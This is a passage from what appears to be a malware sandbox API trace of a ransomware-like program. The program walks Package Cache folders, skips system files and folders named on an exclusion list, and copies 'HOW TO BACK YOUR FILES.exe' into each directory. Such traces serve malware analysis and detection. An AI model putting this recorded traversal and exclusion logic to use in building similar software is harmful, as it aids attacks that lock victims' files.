	[0038.768] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="windows") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="bootmgr") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="temp") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="boot") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="ids.txt") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="perflogs") returned -1
	[0038.768] lstrcmpiW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="MSBuild") returned -1
	[0038.768] lstrlenW (lpString="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 50
	[0038.768] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 82
	[0038.768] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017"
	[0038.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0038.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x59a578
	[0038.768] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd30
	[0038.768] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1
	[0038.768] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.768] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="Apollon865.txt.exe") returned -1
	[0038.768] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1
	[0038.768] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1
	[0038.768] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="windows") returned -1
	[0038.769] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="bootmgr") returned -1
	[0038.769] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="temp") returned -1
	[0038.769] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="pagefile.sys") returned -1
	[0038.769] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="boot") returned -1
	[0038.769] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="ids.txt") returned -1
	[0038.769] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="ntuser.dat") returned -1
	[0038.769] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="perflogs") returned -1
	[0038.769] lstrcmpiW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="MSBuild") returned -1
	[0038.769] lstrlenW (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38
	[0038.769] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 83
	[0038.769] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="{e52a6842-b0ac-476e-b48f-378a97a67346}"
	[0038.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0038.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5a93c0
	[0038.769] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0038.769] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="Apollon865.txt.exe") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="windows") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="bootmgr") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="temp") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="pagefile.sys") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="boot") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="ids.txt") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="ntuser.dat") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="perflogs") returned -1
	[0038.769] lstrcmpiW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="MSBuild") returned -1
	[0038.769] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38
	[0038.769] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 71
	[0038.769] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0038.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0038.769] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5a9458
	[0038.769] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0038.769] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1
	[0038.769] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="Apollon865.txt.exe") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2=".") returned 1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="..") returned 1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="windows") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="bootmgr") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="temp") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="pagefile.sys") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="boot") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="ids.txt") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="ntuser.dat") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="perflogs") returned -1
	[0038.770] lstrcmpiW (lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpString2="MSBuild") returned -1
	[0038.770] lstrlenW (lpString="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 38
	[0038.770] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 71
	[0038.770] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: lpString1="{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="{f325f05b-f963-4640-a43b-c8a494cdda0f}"
	[0038.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0038.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x5a94f0
	[0038.770] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0038.770] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2=".") returned 1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="..") returned 1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="windows") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="bootmgr") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="temp") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="boot") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="ids.txt") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="perflogs") returned -1
	[0038.770] lstrcmpiW (lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", lpString2="MSBuild") returned -1
	[0038.770] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 49
	[0038.770] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 71
	[0038.770] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0038.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0038.770] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x5a9588
	[0038.771] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fdb0
	[0038.771] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0
	[0038.771] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.771] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0038.771] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0038.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a9588 | out: hHeap=0x580000) returned 1
	[0038.771] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0038.771] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned 82
	[0038.771] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005"
	[0038.771] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.771] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.776] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.776] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.776] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.776] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.776] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0038.776] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0038.776] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.776] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0038.776] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0038.776] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0038.776] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f38b250, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0038.776] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0038.776] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0038.776] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0038.777] lstrlenW (lpString="packages") returned 8
	[0038.777] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\*") returned 84
	[0038.777] lstrcpyW (in: lpString1=0x2d3e5f6, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0038.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fdc8
	[0038.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0038.777] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdd0 | out: ListHead=0x5b76b0, ListEntry=0x59fdd0) returned 0x59fdb0
	[0038.777] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0038.777] FindClose (in: hFindFile=0x5ca210 | out: hFindFile=0x5ca210) returned 1
	[0038.777] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdd0
	[0038.777] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0038.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0038.777] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0038.777] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned 91
	[0038.777] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages"
	[0038.777] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0038.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0038.782] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0038.782] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f38b250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f38b250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0038.783] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.783] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0038.783] lstrcmpiW (lpString1=".", lpString2=".") returned 0
